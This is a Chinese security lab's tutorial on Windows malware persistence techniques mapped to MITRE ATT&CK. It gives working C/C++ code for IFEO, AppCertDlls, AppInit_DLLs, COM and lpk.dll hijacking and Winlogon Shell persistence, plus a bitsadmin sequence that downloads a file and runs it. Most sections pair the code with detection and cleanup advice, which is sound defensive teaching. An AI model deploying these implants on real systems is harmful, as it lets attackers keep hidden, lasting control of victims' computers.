作者:天融信阿爾法實驗室
公眾號:https://mp.weixin.qq.com/s/SavldFETaFea3l7kVX2RyA
前言
在網絡安全的世界里,白帽子與黑帽子之間無時無刻都在進行著正與邪的對抗,似乎永無休止。正所謂,道高一尺魔高一丈,巨大的利益驅使著個人或組織利用技術進行不法行為,花樣層出不窮,令人防不勝防。
為了更好的應對這些攻擊手段,就需要做到了解對手。俗話說:知己知彼,方能百戰不殆。MITRE ATT&CK?就提供了全球范圍的黑客的攻擊手段和技術知識點,并把APT組織或惡意工具使用到的攻擊手段一一對應,便于從根源上解決問題。許多公司和政府部門都會從中提取信息,針對遇到的威脅建立安全體系或模型。我們作為安全從業人員,如果能夠掌握MITRE ATT&CK?如此龐大的知識體系,對以后的工作和對抗來說,就像是擁有了一個武器庫,所向披靡。
當然,這么一個龐大的體系是不可能一蹴而就的。我們可以依照MITRE ATT&CK?的框架,先從持久化這一點開始。本文的主要內容是介紹APT攻擊者在Windows系統下持久運行惡意代碼的常用手段,其中的原理是什么,是怎樣實現的,我們應該從哪些方面預防和檢測。希望對大家有所幫助!
本文測試環境:
測試系統:Windows 7
編譯器:Visual Stuidio 2008
以下是本文按照MITRE ATTACK框架介紹的例子和其對應的介紹,我們深入分析了實現的原理,并且通過原理開發了相應的利用工具進行測試,測試呈現出的效果也都在下文一一展現。
| 標題 | 簡介 | 權限 | 鏈接 |
|---|---|---|---|
| 輔助功能鏡像劫持 | 在注冊表中創建一個輔助功能的注冊表項,并根據鏡像劫持的原理添加鍵值,實現系統在未登錄狀態下,通過快捷鍵運行自己的程序。 | 管理員 | https://attack.mitre.org/techniques/T1015/https://attack.mitre.org/techniques/T1183/ |
| 進程注入之AppCertDlls 注冊表項 | 編寫了一個dll,創建一個AppCertDlls注冊表項,在默認鍵值中添加dll的路徑,實現了對使用特定API進程的注入。 | 管理員 | https://attack.mitre.org/techniques/T1182/ |
| 進程注入之AppInit_DLLs注冊表項 | 在某個注冊表項中修改AppInit_DLLs和LoadAppInit_DLLs鍵值,實現對加載user32.dll進程的注入。 | 管理員 | https://attack.mitre.org/techniques/T1103/ |
| BITS 的靈活應用 | 通過bitsadmin命令加入傳輸任務,利用BITS的特性,實現每次重啟都會執行自己的程序。 | 用戶 | https://attack.mitre.org/techniques/T1197/ |
| Com組件劫持 | 編寫了一個dll,放入特定的路徑,在注冊表項中修改默認和 ThreadingModel鍵值,實現打開計算器就會運行程序。 | 用戶 | https://attack.mitre.org/techniques/T1122/ |
| DLL劫持 | 編寫了一個lpk.dll,根據Windows的搜索模式放在指定目錄中,修改注冊表項,實現了開機啟動執行dll。 | 用戶 | https://attack.mitre.org/techniques/T1038/ |
| Winlogon helper | 編寫了一個dll,里面有一個導出函數,修改注冊表項,實現用戶登錄時執行導出函數。 | 管理員 | https://attack.mitre.org/techniques/T1004/ |
| 篡改服務進程 | 編寫一個服務進程,修改服務的注冊表項,實現了開機啟動自己的服務進程。 | 管理員 | https://attack.mitre.org/techniques/T1031/ |
| 替換屏幕保護程序 | 修改注冊表項,寫入程序路徑,實現在觸發屏保程序運行時我們的程序被執行 | 用戶 | https://attack.mitre.org/techniques/T1180/ |
| 創建新服務 | 編寫具有添加服務和修改注冊表功能的程序以及有一定格式的dll,實現服務在后臺穩定運行。 | 管理員 | https://attack.mitre.org/techniques/T1050/ |
| 啟動項 | 根據Startup目錄和注冊表Run鍵,創建快捷方式和修改注冊表,實現開機自啟動 | 用戶 | https://attack.mitre.org/techniques/T1060/ |
| WMI事件過濾 | 用WMIC工具注冊WMI事件,實現開機120秒后觸發設定的命令 | 管理員 | https://attack.mitre.org/techniques/T1084/ |
| Netsh Helper DLL | 編寫了一個netsh helper dll,通過netsh命令加入了 helper 列表,并將netsh 加入了計劃任務,實現開機執行DLL | 管理員 | https://attack.mitre.org/techniques/T1128/ |
輔助功能鏡像劫持
代碼及原理介紹
為了使電腦更易于使用和訪問,Windows添加了一些輔助功能。這些功能可以在用戶登錄之前以組合鍵啟動。根據這個特征,一些惡意軟件無需登錄到系統,通過遠程桌面協議就可以執行惡意代碼。
一些常見的輔助功能如:
C:\Windows\System32\sethc.exe 粘滯鍵 快捷鍵:按五次shift鍵
C:\Windows\System32\utilman.exe 設置中心 快捷鍵:Windows+U鍵
下圖就是在未登陸時彈出的設置中心

在較早的Windows版本,只需要進行簡單的二進制文件替換,比如,程序” C:\Windows\System32\utilman.exe”可以替換為“cmd.exe”。
對于在Windows Vista和Windows Server 2008及更高的版本中,替換的二進制文件受到了系統的保護,因此這里就需要另一項技術:映像劫持。
映像劫持,也被稱為“IFEO”(Image File Execution Options)。當目標程序被映像劫持時,雙擊目標程序,系統會轉而運行劫持程序,并不會運行目標程序。許多病毒會利用這一點來抑制殺毒軟件的運行,并運行自己的程序。
造成映像劫持的罪魁禍首就是參數“Debugger”,它是IFEO里第一個被處理的參數,系統如果發現某個程序文件在IFEO列表中,它就會首先來讀取Debugger參數,如果該參數不為空,系統則會把Debugger參數里指定的程序文件名作為用戶試圖啟動的程序執行請求來處理,而僅僅把用戶試圖啟動的程序作為Debugger參數里指定的程序文件名的參數發送過去。
參數“Debugger”本來是為了讓程序員能夠通過雙擊程序文件直接進入調試器里調試自己的程序。現在卻成了病毒的攻擊手段。
簡單操作就是修改注冊表,在“HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Option”中添加utilman.exe項,在此項中添加debugger鍵,鍵值為要啟動的程序路徑。
實現代碼:
HKEY hKey;
const char path[] = "C:\\hello.exe";
RegCreateKeyExA(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\WindowsNT\\CurrentVersion\\Image File Execution Options\\Utilman.exe", 0,NULL, 0, KEY_WRITE, NULL, &hKey,&dwDisposition);
RegSetValueExA(hKey, "Debugger", 0, REG_SZ, (BYTE*)path, (1 + ::lstrlenA(path)))
當然,我們自己的程序要放到相應的路徑,關于資源文件的釋放,下文會提到,這里暫且按下不講。
運行效果圖
當重新回到登錄界面,按下快捷鍵時,結果如圖:

注冊表鍵值情況如下圖:

檢查及清除方法
檢查“HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Option”注冊表路徑中的程序名稱
其它適用于的輔助功能還有:
屏幕鍵盤:C:\Windows\System32\osk.exe
放大鏡:C:\Windows\System32\Magnify.exe
旁白:C:\Windows\System32\Narrator.exe
顯示開關:C:\Windows\System32\DisplaySwitch.exe
應用程序開關:C:\Windows\System32\AtBroker.exe
現在大部分的殺毒軟件都會監視注冊表項來防御這種惡意行為。
進程注入之AppCertDlls 注冊表項
代碼及原理介紹
如果有進程使用了CreateProcess、CreateProcessAsUser、CreateProcessWithLoginW、CreateProcessWithTokenW或WinExec 函數,那么此進程會獲取HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\SessionManager\AppCertDlls注冊表項,此項下的dll都會加載到此進程。
Win7版本下沒有“AppCertDlls”項,需自己創建。
代碼如下:
HKEY hKey;
const char path[] = "C:\\dll.dll";
RegCreateKeyExA(HKEY_LOCAL_MACHINE,"SYSTEM\\CurrentControlSet\\Control\\Session Manager\\AppCertDlls", 0, NULL, 0, KEY_WRITE, NULL, &hKey, &dwDisposition);
RegSetValueExA(hKey, "Default", 0, REG_SZ, (BYTE*)path, (1 + ::lstrlenA(path)));
Dll代碼:
BOOL TestMutex()
{
HANDLE hMutex = CreateMutexA(NULL, false, "myself");
if (GetLastError() == ERROR_ALREADY_EXISTS)
{
CloseHandle(hMutex);
return 0;
}
return 1;
}
BOOL APIENTRY DllMain( HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved)
{
switch (ul_reason_for_call)
{
case DLL_PROCESS_ATTACH:
if (TestMutex() == 0)
return TRUE;
MessageBoxA(0,"hello topsec","AppCert",0);
case DLL_THREAD_ATTACH:
case DLL_THREAD_DETACH:
case DLL_PROCESS_DETACH:
break;
}
return TRUE;
}
運行效果圖

修改完注冊表之后,寫個測試小程序,用CreateProcess打開notepad.exe

可以看到test.exe中已經加載dll.dll,并彈出“hello topsec”。也能發現,在svchost.exe和taskeng.exe中也加載了dll.dll。
檢查及清除方法
-
監測dll的加載,特別是查找不是通常的dll,或者不是正常加載的dll。
-
監視AppCertDLL注冊表值
-
監視和分析注冊表編輯的API調用,如RegCreateKeyEx和RegSetValueEx。
進程注入之AppInit_DLLs注冊表項
User32.dll被加載到進程時,會獲取AppInit_DLLs注冊表項,若有值,則調用LoadLibrary() API加載用戶DLL。只會影響加載了user32.dll的進程。
HKEY_LOCAL_MACHINE\Software\Microsoft\WindowsNT\CurrentVersion\Window\Appinit_Dlls
代碼如下:
HKEY hKey;
DWORD dwDisposition;
const char path[] = "C:\\AppInit.dll";
DWORD dwData = 1;
RegCreateKeyExA(HKEY_LOCAL_MACHINE,"SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Windows", 0, NULL, 0, KEY_WRITE, NULL, &hKey, &dwDisposition);
RegSetValueExA(hKey, "AppInit_DLLs", 0, REG_SZ, (BYTE*)path, (1 + ::lstrlenA(path)));
RegSetValueExA(hKey, "LoadAppInit_DLLs", 0, REG_DWORD, (BYTE*)& dwData, sizeof(DWORD));
運行效果圖
修改過后如下圖所示:

運行cmd.exe,就會發現cmd.exe已經加載指定dll,并彈框。

此注冊表項下的每個庫都會加載到每個加載User32.dll的進程中。User32.dll是一個非常常見的庫,用于存儲對話框等圖形元素。惡意軟件可以在Appinit_Dlls注冊表項下插入其惡意庫的位置,以使另一個進程加載其庫。因此,當惡意軟件修改此子鍵時,大多數進程將加載惡意庫。
檢查及清除方法
-
監測加載User32.dll的進程的dll的加載,特別是查找不是通常的dll,或者不是正常加載的dll。
-
監視AppInit_DLLs注冊表值。
-
監視和分析注冊表編輯的API調用,如RegCreateKeyEx和RegSetValueEx。
BITS 的靈活應用
代碼及原理介紹
BITS,后臺智能傳輸服務,是一個 Windows 組件,它可以利用空閑的帶寬在前臺或后臺異步傳輸文件,例如,當應用程序使用80%的可用帶寬時,BITS將只使用剩下的20%。不影響其他網絡應用程序的傳輸速度,并支持在重新啟動計算機或重新建立網絡連接之后自動恢復文件傳輸。
通常來說,BITS會代表請求的應用程序異步完成傳輸,即應用程序請求BITS服務進行傳輸后,可以自由地去執行其他任務,乃至終止。只要網絡已連接并且任務所有者已登錄,則傳輸就會在后臺進行。當任務所有者未登錄時,BITS任務不會進行。
BITS采用隊列管理文件傳輸。一個BITS會話是由一個應用程序創建一個任務而開始。一個任務就是一份容器,它有一個或多個要傳輸的文件。新創建的任務是空的,需要指定來源與目標URI來添加文件。下載任務可以包含任意多的文件,而上傳任務中只能有一個文件。可以為各個文件設置屬性。任務將繼承創建它的應用程序的安全上下文。BITS提供API接口來控制任務。通過編程可以來啟動、停止、暫停、繼續任務以及查詢狀態。在啟動一個任務前,必須先設置它相對于傳輸隊列中其他任務的優先級。默認情況下,所有任務均為正常優先級,而任務可以被設置為高、低或前臺優先級。BITS將優化后臺傳輸被,根據可用的空閑網絡帶寬來增加或減少(抑制)傳輸速率。如果一個網絡應用程序開始耗用更多帶寬,BITS將限制其傳輸速率以保證用戶的交互式體驗,但前臺優先級的任務除外。
BITS的調度采用分配給每個任務有限時間片的機制,一個任務被暫停時,另一個任務才有機會獲得傳輸時機。較高優先級的任務將獲得較多的時間片。BITS采用循環制處理相同優先級的任務,并防止大的傳輸任務阻塞小的傳輸任務。
常用于 Windows Update的安裝更新。
BITSAdmin,BITS管理工具,是管理BITS任務的命令行工具。
常用命令:
列出所有任務:bitsadmin /list /allusers /verbose
刪除某個任務:bitsadmin /cancel <Job>
刪除所有任務:bitsadmin /reset /allusers
完成任務:bitsadmin /complete <Job>
完整配置任務命令如下:
bitsadmin /create TopSec
bitsadmin /addfile TopSec https://gss3.bdstatic.com/7Po3dSag_xI4khGkpoWK1HF6hhy/baike/w%3D268%3Bg%3D0/sign=860ac8bc858ba61edfeecf29790ff037/b3fb43166d224f4a179bbd650ef790529822d142.jpg C:\TopSec.jpg
bitsadmin.exe /SetNotifyCmdLine TopSec "%COMSPEC%" "cmd.exe /c bitsadmin.exe /complete \"TopSec\" && start /B C:\TopSec.jpg"
bitsadmin /Resume TopSec
下載圖片到指定文件夾,完成后直接打開圖片。
如果圖片可以打開,那么就說明可以打開任意二進制程序。而BITS又有可以中斷后繼續工作的特性,所以下面就是解決在系統重新啟動后仍能自動運行的操作。
現在將完成參數“complete”去掉,為了節省時間,將下載的遠程服務器文件換成本地文件。代碼如下:
void BitsJob()
{
char szSaveName[MAX_PATH] = "C:\\bitshello.exe";
if (FALSE == m_Bits)
{
// 釋放資源
BOOL bRet = FreeMyResource(IDR_MYRES22, "MYRES2", szSaveName);
WinExec("bitsadmin /create TopSec", 0);
WinExec("bitsadmin /addfile TopSec \"C:\\Windows\\system32\\cmd.exe\" \"C:\\cmd.exe\"", 0);
WinExec("bitsadmin.exe /SetNotifyCmdLine TopSec \"C:\\Windows\\system32\\cmd.exe\" \"cmd.exe /c C:\\bitshello.exe\"", 0);
WinExec("bitsadmin /Resume TopSec", 0);
m_Bits = TRUE;
}
else
{
WinExec("bitsadmin /complete TopSec", 0);
remove(szSaveName);
m_Bits = FALSE;
}
UpdateData(FALSE);
}
解除未完成狀態,需要命令“bitsadmin /complete TopSec”。
運行效果圖
運行之后,拷貝到C盤的cmd.exe沒有出現,卻依然彈出對話框。

查看BITS任務列表,發現任務依然存在

重啟計算機,發現彈出對話框,BITS任務依然存在。

執行命令“bitsadmin /complete TopSec”,出現拷貝到C盤的程序cmd.exe,任務完成。

檢查及清除方法
BITS服務的運行狀態可以使用SC查詢程序來監視(命令:sc query bits),任務列表由BITSAdmin來查詢,監控和分析由BITS生成的網絡活動。
Com組件劫持
代碼及原理介紹
COM是Component Object Model (組件對象模型)的縮寫,COM組件由DLL和EXE形式發布的可執行代碼所組成。每個COM組件都有一個CLSID,這個CLSID是注冊的時候寫進注冊表的,可以把這個CLSID理解為這個組件最終可以實例化的子類的一個ID。這樣就可以通過查詢注冊表中的CLSID來找到COM組件所在的dll的名稱。
所以要想COM劫持,必須精心挑選CLSID,盡量選擇應用范圍廣的CLSID。這里,我們選擇的CLSID為:{b5f8350b-0548-48b1-a6ee-88bd00b4a5e7},來實現對 CAccPropServicesClass 和 MMDeviceEnumerator 的劫持。系統很多正常程序啟動時需要調用這兩個實例。例如計算器。
Dll存放的位置://%APPDATA%Microsoft/Installer/{BCDE0395-E52F-467C-8E3D-C4579291692E}
接下來就是修改注冊表,在指定路徑添加文件,具體代碼如下:
void CPersistenceDlg::comHijacking()
{
HKEY hKey;
DWORD dwDisposition;
//%APPDATA%Microsoft/Installer/{BCDE0395-E52F-467C-8E3D-C45792916//92E}
char system1[] = "C:\\Users\\TopSec\\AppData\\Roaming\\Microsoft\\Installer\\{BCDE0395-E52F-467C-8E3D-C4579291692E}\\TopSec.dll";
char system2[] = "Apartment";
string defaultPath = "C:\\Users\\TopSec\\AppData\\Roaming\\Microsoft\\Installer\\{BCDE0395-E52F-467C-8E3D-C4579291692E}";
string szSaveName = "C:\\Users\\TopSec\\AppData\\Roaming\\Microsoft\\Installer\\{BCDE0395-E52F-467C-8E3D-C4579291692E}\\TopSec.dll";
if (FALSE == m_Com)
{
//string folderPath = defaultPath + "\\testFolder";
string command;
command = "mkdir -p " + defaultPath;
system(command.c_str());
// 釋放資源
BOOL bRet = FreeMyResource(IDR_MYRES23, "MYRES2", system1);
if (ERROR_SUCCESS != RegCreateKeyExA(HKEY_CURRENT_USER,
"Software\\Classes\\CLSID\\{b5f8350b-0548-48b1-a6ee-88bd00b4a5e7}\\InprocServer32", 0, NULL, 0, KEY_WRITE, NULL, &hKey, &dwDisposition))
{
ShowError("RegCreateKeyExA");
return;
}
if (ERROR_SUCCESS != RegSetValueExA(hKey, NULL, 0, REG_SZ, (BYTE*)system1, (1 + ::lstrlenA(system1))))
{
ShowError("RegSetValueEx");
return;
}
if (ERROR_SUCCESS != RegSetValueExA(hKey, "ThreadingModel", 0, REG_SZ, (BYTE*)system2, (1 + ::lstrlenA(system2))))
{
ShowError("RegSetValueEx");
return;
}
::MessageBoxA(NULL, "comHijacking OK!", "OK", MB_OK);
m_Com = TRUE;
}
else
{
if (ERROR_SUCCESS != RegCreateKeyExA(HKEY_CURRENT_USER,
"Software\\Classes\\CLSID\\{b5f8350b-0548-48b1-a6ee-88bd00b4a5e7}\\InprocServer32", 0, NULL, 0, KEY_WRITE, NULL, &hKey, &dwDisposition))
{
ShowError("RegCreateKeyExA");
return;
}
if (ERROR_SUCCESS != RegDeleteValueA(hKey, NULL))
{
ShowError("RegDeleteValueA");
return;
}
if (ERROR_SUCCESS != RegDeleteValueA(hKey, "ThreadingModel"))
{
ShowError("RegDeleteValueA");
return;
}
remove(szSaveName.c_str());
remove(defaultPath.c_str());
::MessageBoxA(NULL, "Delete comHijacking OK!", "OK", MB_OK);
m_Com = FALSE;
}
UpdateData(FALSE);
}
運行效果圖
運行后,文件和注冊表如下:


運行計算器,彈出對話框:

檢查及清除方法
由于COM對象是操作系統和已安裝軟件的合法部分,因此直接阻止對COM對象的更改可能會對正常的功能產生副作用。相比之下,使用白名單識別潛在的病毒會更有效。
現有COM對象的注冊表項可能很少發生更改。當具有已知路徑和二進制的條目被替換或更改為異常值以指向新位置中的未知二進制時,它可能是可疑的行為,應該進行調查。同樣,如果收集和分析程序DLL加載,任何與COM對象注冊表修改相關的異常DLL加載都可能表明已執行COM劫持。
DLL劫持
代碼及原理介紹
眾所周知,Windows有資源共享機制,當對象想要訪問此共享功能時,它會將適當的DLL加載到其內存空間中。但是,這些可執行文件并不總是知道DLL在文件系統中的確切位置。為了解決這個問題,Windows實現了不同目錄的搜索順序,其中可以找到這些DLL。
系統使用DLL搜索順序取決于是否啟用安全DLL搜索模式。
WindowsXP默認情況下禁用安全DLL搜索模式。之后默認啟用安全DLL搜索模式
若要使用此功能,需創建HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Session Manager\SafeDllSearchMode注冊表值,0為禁止,1為啟用。
SafeDLLSearchMode啟用后,搜索順序如下:
-
從其中加載應用程序的目錄、
-
系統目錄。使用GetSystemDirectory函數獲取此目錄的路徑。
-
16位系統目錄。沒有獲取此目錄的路徑的函數,但會搜索它。
-
Windows目錄。 使用GetWindowsDirectory函數獲取此目錄。
-
當前目錄。
-
PATH環境變量中列出的目錄。
SafeDLLSearchMode禁用后,搜索順序如下:
-
從其中加載應用程序的目錄
-
當前目錄
-
系統目錄。使用GetSystemDirectory函數獲取此目錄的路徑。
-
16位系統目錄。沒有獲取此目錄的路徑的函數,但會搜索它。
-
Windows目錄。 使用GetWindowsDirectory函數獲取此目錄。
-
PATH環境變量中列出的目錄。
DLL劫持利用搜索順序來加載惡意DLL以代替合法DLL。如果應用程序使用Windows的DLL搜索來查找DLL,且攻擊者可以將同名DLL的順序置于比合法DLL更高的位置,則應用程序將加載惡意DLL。
可以用來劫持系統程序,也可以劫持用戶程序。劫持系統程序具有兼容性,劫持用戶程序則有針對性。結合本文的主題,這里選擇劫持系統程序。
可以劫持的dll有:
lpk.dll、usp10.dll、msimg32.dll、midimap.dll、ksuser.dll、comres.dll、ddraw.dll
以lpk.dll為列,explorer桌面程序的啟動需要加載lpk.dll,當進入桌面后lpk.dll便被加載了,劫持lpk.dll之后,每次啟動系統,自己的lpk.dll都會被加載,實現了持久化攻擊的效果。
下面就是要構建一個lpk.dll:
-
將系統下的lpk.dll導入IDA,查看導出表的函數

-
構造一個和lpk.dll一樣的導出表
-
加載系統目錄下的lpk.DLL;
-
將導出函數轉發到系統目錄下的LPK.DLL上
-
在初始化函數中加入我們要執行的代碼。
具體dll代碼如下:
#include "pch.h"
#include <windows.h>
#include <process.h>
// 導出函數
#pragma comment(linker, "/EXPORT:LpkInitialize=_AheadLib_LpkInitialize,@1")
#pragma comment(linker, "/EXPORT:LpkTabbedTextOut=_AheadLib_LpkTabbedTextOut,@2")
#pragma comment(linker, "/EXPORT:LpkDllInitialize=_AheadLib_LpkDllInitialize,@3")
#pragma comment(linker, "/EXPORT:LpkDrawTextEx=_AheadLib_LpkDrawTextEx,@4")
#pragma comment(linker, "/EXPORT:LpkExtTextOut=_AheadLib_LpkExtTextOut,@6")
#pragma comment(linker, "/EXPORT:LpkGetCharacterPlacement=_AheadLib_LpkGetCharacterPlacement,@7")
#pragma comment(linker, "/EXPORT:LpkGetTextExtentExPoint=_AheadLib_LpkGetTextExtentExPoint,@8")
#pragma comment(linker, "/EXPORT:LpkPSMTextOut=_AheadLib_LpkPSMTextOut,@9")
#pragma comment(linker, "/EXPORT:LpkUseGDIWidthCache=_AheadLib_LpkUseGDIWidthCache,@10")
#pragma comment(linker, "/EXPORT:ftsWordBreak=_AheadLib_ftsWordBreak,@11")
// 宏定義
#define EXTERNC extern "C"
#define NAKED __declspec(naked)
#define EXPORT __declspec(dllexport)
#define ALCPP EXPORT NAKED
#define ALSTD EXTERNC EXPORT NAKED void __stdcall
#define ALCFAST EXTERNC EXPORT NAKED void __fastcall
#define ALCDECL EXTERNC NAKED void __cdecl
//LpkEditControl導出的是數組,不是單一的函數(by Backer)
EXTERNC void __cdecl AheadLib_LpkEditControl(void);
EXTERNC __declspec(dllexport) void (*LpkEditControl[14])() = { AheadLib_LpkEditControl };
//添加全局變量
BOOL g_bInited = FALSE;
// AheadLib 命名空間
namespace AheadLib
{
HMODULE m_hModule = NULL; // 原始模塊句柄
// 加載原始模塊
BOOL WINAPI Load()
{
TCHAR tzPath[MAX_PATH];
TCHAR tzTemp[MAX_PATH * 2];
GetSystemDirectory(tzPath, MAX_PATH);
lstrcat(tzPath, TEXT("\\lpk.dll"));
OutputDebugString(tzPath);
m_hModule = LoadLibrary(tzPath);
if (m_hModule == NULL)
{
wsprintf(tzTemp, TEXT("無法加載 %s,程序無法正常運行。"), tzPath);
MessageBox(NULL, tzTemp, TEXT("AheadLib"), MB_ICONSTOP);
};
return (m_hModule != NULL);
}
// 釋放原始模塊
VOID WINAPI Free()
{
if (m_hModule)
{
FreeLibrary(m_hModule);
}
}
// 獲取原始函數地址
FARPROC WINAPI GetAddress(PCSTR pszProcName)
{
FARPROC fpAddress;
CHAR szProcName[16];
TCHAR tzTemp[MAX_PATH];
fpAddress = GetProcAddress(m_hModule, pszProcName);
if (fpAddress == NULL)
{
if (HIWORD(pszProcName) == 0)
{
wsprintfA(szProcName, "%p", pszProcName);
pszProcName = szProcName;
}
wsprintf(tzTemp, TEXT("無法找到函數 %hs,程序無法正常運行。"), pszProcName);
MessageBox(NULL, tzTemp, TEXT("AheadLib"), MB_ICONSTOP);
ExitProcess(-2);
}
return fpAddress;
}
}
using namespace AheadLib;
//函數聲明
void WINAPIV Init(LPVOID pParam);
void WINAPIV Init(LPVOID pParam)
{
MessageBoxA(0, "Hello Topsec", "Hello Topsec", 0);//在這里添加DLL加載代碼
return;
}
// 入口函數
BOOL WINAPI DllMain(HMODULE hModule, DWORD dwReason, PVOID pvReserved)
{
if (dwReason == DLL_PROCESS_ATTACH)
{
DisableThreadLibraryCalls(hModule);
if (g_bInited == FALSE) {
Load();
g_bInited = TRUE;
}
//LpkEditControl這個數組有14個成員,必須將其復制過來
memcpy((LPVOID)(LpkEditControl + 1), (LPVOID)((int*)GetAddress("LpkEditControl") + 1), 52);
_beginthread(Init, NULL, NULL);
}
else if (dwReason == DLL_PROCESS_DETACH)
{
Free();
}
return TRUE;
}
// 導出函數
ALCDECL AheadLib_LpkInitialize(void)
{
if (g_bInited == FALSE) {
Load();
g_bInited = TRUE;
}
GetAddress("LpkInitialize");
__asm JMP EAX;
}
// 導出函數
ALCDECL AheadLib_LpkTabbedTextOut(void)
{
GetAddress("LpkTabbedTextOut");
__asm JMP EAX;
}
// 導出函數
ALCDECL AheadLib_LpkDllInitialize(void)
{
GetAddress("LpkDllInitialize");
__asm JMP EAX;
}
// 導出函數
ALCDECL AheadLib_LpkDrawTextEx(void)
{
GetAddress("LpkDrawTextEx");
__asm JMP EAX;
}
// 導出函數
ALCDECL AheadLib_LpkEditControl(void)
{
GetAddress("LpkEditControl");
__asm jmp DWORD ptr[EAX];//這里的LpkEditControl是數組,eax存的是函數指針
}
// 導出函數
ALCDECL AheadLib_LpkExtTextOut(void)
{
GetAddress("LpkExtTextOut");
__asm JMP EAX;
}
// 導出函數
ALCDECL AheadLib_LpkGetCharacterPlacement(void)
{
GetAddress("LpkGetCharacterPlacement");
__asm JMP EAX;
}
// 導出函數
ALCDECL AheadLib_LpkGetTextExtentExPoint(void)
{
GetAddress("LpkGetTextExtentExPoint");
__asm JMP EAX;
}
// 導出函數
ALCDECL AheadLib_LpkPSMTextOut(void)
{
GetAddress("LpkPSMTextOut");
__asm JMP EAX;
}
// 導出函數
ALCDECL AheadLib_LpkUseGDIWidthCache(void)
{
GetAddress("LpkUseGDIWidthCache");
__asm JMP EAX;
}
// 導出函數
ALCDECL AheadLib_ftsWordBreak(void)
{
GetAddress("ftsWordBreak");
__asm JMP EAX;
}
最后修改注冊表鍵值HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\SessionManager ExcludeFromKnownDlls,把lpk.dll加進去。
HKEY hKey;
DWORD dwDisposition;
const char path[] = "lpk.dll";
RegCreateKeyExA(HKEY_LOCAL_MACHINE," System \\ CurrentControlSet \\ Control\\ SessionManager ", 0, NULL, 0, KEY_WRITE, NULL, &hKey, &dwDisposition));
RegSetValueExA(hKey, NULL, 0, REG_MULTI_SZ, (BYTE*)path, (1 + ::lstrlenA(path)));
運行效果圖
將生成的lpk.dll放到c:/Windows目錄

重啟系統,自動彈出對話框

查找explorer,加載的正是我們的lpk.dll

注冊表修改如下

檢查及清除方法
啟用安全DLL搜索模式,與此相關的Windows注冊表鍵位于HKLM\SYSTEM\CurrentControlSet\Control\Session Manager\SafeDLLSearchMode
監視加載到進程中的DLL,并檢測具有相同文件名但路徑異常的DLL。
winlogon helper
原理及代碼介紹
Winlogon.exe進程是Windows操作系統中非常重要的一部分,Winlogon用于執行與Windows登錄過程相關的各種關鍵任務,例如,當在用戶登錄時,Winlogon進程負責將用戶配置文件加載到注冊表中。

Winlogon進程會HOOK系統函數監控鍵盤是否按下Ctrl + Alt + Delete,這被稱為“Secure Attention Sequence”,這就是為什么一些系統會配置為要求您在登錄前按Ctrl + Alt + Delete。這種鍵盤快捷鍵的組合被Winlogon.exe捕獲,確保您安全登錄桌面,其他程序無法監控您正在鍵入的密碼或模擬登錄對話框。Windows登錄應用程序還會捕獲用戶的鍵盤和鼠標活動,在一段時間未發現鍵盤和鼠標活動時啟動屏幕保護程序。
總之,Winlogon是登錄過程的關鍵部分,需要持續在后臺運行。如果您有興趣,Microsoft還提供Winlogon進程的更詳細的技術說明,在此不再贅述。
在注冊表項HKLM\Software\Microsoft\WindowsNT\CurrentVersion\Winlogon\和HKCU\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\用于管理支持Winlogon的幫助程序和擴展功能,對這些注冊表項的惡意修改可能導致Winlogon加載和執行惡意DLL或可執行文件。已知以下子項可能容易被惡意代碼所利用:
Winlogon\Notify - 指向處理Winlogon事件的通知包DLL
Winlogon\Userinit - 指向userinit.exe,即用戶登錄時執行的用戶初始化程序
Winlogon\Shell - 指向explorer.exe,即用戶登錄時執行的系統shell
攻擊者可以利用這些功能重復執行惡意代碼建立持久后門,如下的代碼演示了如何通過在Winlogon\Shell子鍵添加惡意程序路徑實現駐留系統的目的。
BOOL add_winlogon_helper()
{
BOOL ret = FALSE;
LONG rcode = NULL;
DWORD key_value_type;
BYTE shell_value_buffer[MAX_PATH * 2];
DWORD value_buffer_size = sizeof(shell_value_buffer) ;
HKEY winlogon_key = NULL;
DWORD set_value_size;
BYTE path[MAX_PATH];
rcode = RegOpenKeyEx(HKEY_CURRENT_USER, _TEXT("Software\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon"),
NULL, KEY_ALL_ACCESS, &winlogon_key);
if (rcode != ERROR_SUCCESS)
{
goto ERROR_EXIT;
}
//
rcode = RegQueryValueEx(winlogon_key,_TEXT("shell"), NULL, &key_value_type, shell_value_buffer, &value_buffer_size);
if (rcode != ERROR_SUCCESS)
{
//找不到指定的鍵值
if (rcode == 0x2)
{
//寫入explorer.exe 和 自定義的路徑
lstrcpy((TCHAR*)path, _TEXT("explorer.exe, rundll32.exe \"C:\\topsec.dll\" RunProc"));
set_value_size = lstrlen((TCHAR*)path) * sizeof(TCHAR) + sizeof(TCHAR);
rcode = RegSetValueEx(winlogon_key, _TEXT("shell"), NULL, REG_SZ, path, set_value_size);
if (rcode != ERROR_SUCCESS)
{
goto ERROR_EXIT;
}
}
else
{
goto ERROR_EXIT;
}
}
else
{
//原先已存在,追加寫入
lstrcat((TCHAR*)shell_value_buffer, _TEXT(",rundll32.exe \"C:\\topsec.dll\" RunProc"));
set_value_size = lstrlen((TCHAR*)shell_value_buffer) * sizeof(TCHAR) + sizeof(TCHAR);
rcode = RegSetValueEx(winlogon_key, _TEXT("shell"), NULL, REG_SZ, shell_value_buffer, set_value_size);
if (rcode != ERROR_SUCCESS)
{
goto ERROR_EXIT;
}
}
ret = TRUE;
ERROR_EXIT:
if (winlogon_key != NULL)
{
RegCloseKey(winlogon_key);
winlogon_key = NULL;
}
return ret;
}
其中topsec.dll 的導出函數RunProc 代碼如下:
extern "C" __declspec(dllexport) void RunProc(HWND hwnd,HINSTANCE hinst, LPTSTR lpCmdLine,int nCmdShow)
{
while (TRUE)
{
OutputDebugString(_TEXT("Hello Topsec with Rundll32!!!"));
Sleep(1000);
}
}
運行效果圖
當該用戶下次登錄的時候Winlogon會帶動Rundll32程序,通過命令行參數加載預設的DLL文件執行其導出函數,如下圖所示,目標穩定運行中:

